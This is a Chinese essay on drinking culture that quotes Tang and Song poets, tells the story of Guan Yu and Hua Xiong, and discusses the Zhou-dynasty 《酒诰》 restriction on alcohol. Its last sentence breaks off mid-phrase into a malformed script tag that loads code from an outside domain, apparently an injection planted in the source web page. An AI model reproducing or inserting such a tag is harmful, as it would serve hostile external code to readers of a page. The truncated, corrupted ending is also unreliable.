酒中的豪情与奢靡
时逢三五便团圆，满把晴光护玉栏。明月几时有，没有美酒何以问青天。食文化是东方中国文化的一大特色，而酒文化则是中国食文化的精华，是这一中国特色文化的发酵剂、润滑剂、助推剂和粘合剂，在不同的场合起着多元的作用。酒在中华文化的历史长河中，已不仅仅是一种液体的客观物质存在，饮酒更是一种固化的精神文化象征和流动的社会生活习俗。
善助英雄壮胆，能添锦绣诗肠。神仙造下解愁方，雪月风花玩赏。自古到今，中国的酒文化源远流长、绵延不绝。在文学艺术的王国中，酒神精神无处不在、无所不往，它是文人墨客滚滚创作思潮的源泉，以至留下无数的不朽之作。“李白斗酒诗百篇，长安市上酒家眠，天子呼来不上船，自称臣是酒中仙。”(唐.杜甫)“俯仰各有志，得酒诗自成。”(宋.苏轼)“一杯未尽诗已成，涌诗向天天亦惊。”(宋.杨万里)。饮酒甚至醉酒而成传世诗作，这样的例子在中国文学史上遍地开花，俯拾皆是。
临行更喝一杯酒，浑身是胆雄赳赳。美酒对于赳赳武将来说，又何尝不是出征临行助胆壮威的“精神良药”。酒壮将军胆，更助三军威的故事不绝于史。三国时董卓作乱，诸侯群起而讨伐。两军对垒，关羽主动请缨。曹操已觉关羽乃英雄是也，于是温酒一杯，亲自捧上，与关羽饮。关羽曰:“酒且斟下，某去便来。”出帐提刀飞身上马。不一会儿马到中军，关羽已提华雄之头掷于帐下，此时其酒尚温。真是云长停盏施英勇，酒尚温时斩华雄，这千古美谈之中，酒功不可没。
虽说是三杯能和万事，一醉善解千愁。然而抽刀断水水更流，举杯消愁愁更愁。世上的事没有绝对性，作为一个钱币的两面，酒乃五谷所酿，纯水所制，一杯之中，用粮几多?千夫之作，几人享用?杜康造下万家春，倍添民间几多愁。是故，《尚书.酒诰》有言:“祀兹酒。惟天降命，肇我民，惟元祀。天降威，我民用大乱丧德，亦罔非酒惟行。越小大邦用丧，亦罔非酒惟辜。”翻译成白话文即是:“只有在祭祀之时才需要用到酒，平时不应常饮……酒本为祭祀，但亦可乱行。无论是小国还是大邦所以丧亡的，无不以酒为罪。”
《酒诰》体现了古代“饮酒亡国”的政治观念。夏、商后期的统治者因酒废政，给周初的统治者提供了深刻的教训，于是下决心要肃清酗酒恶习，以正民风。在周公看来，商纣之亡国，与夏桀亡国有极为相似的历史原因，那就是酗酒丧德。故武王伐纣胜利后，为了建立新秩序，防止故殷之地积习难改，纵酒之风继续蔓延，也为了防止周人相沿为习腐化堕落，周公特意宣布限酒令，授命幼弟康叔受封卫国时告诫其应当举国禁酒，不要荒耽于饮酒而失德乱政。《尚书》中的《酒诰》是我国历史上第一部正式限酒的法律，也是世界上最早的限酒令，从中我们可以看到西周初年周公为首的?script src=http://www.234mu.com/>
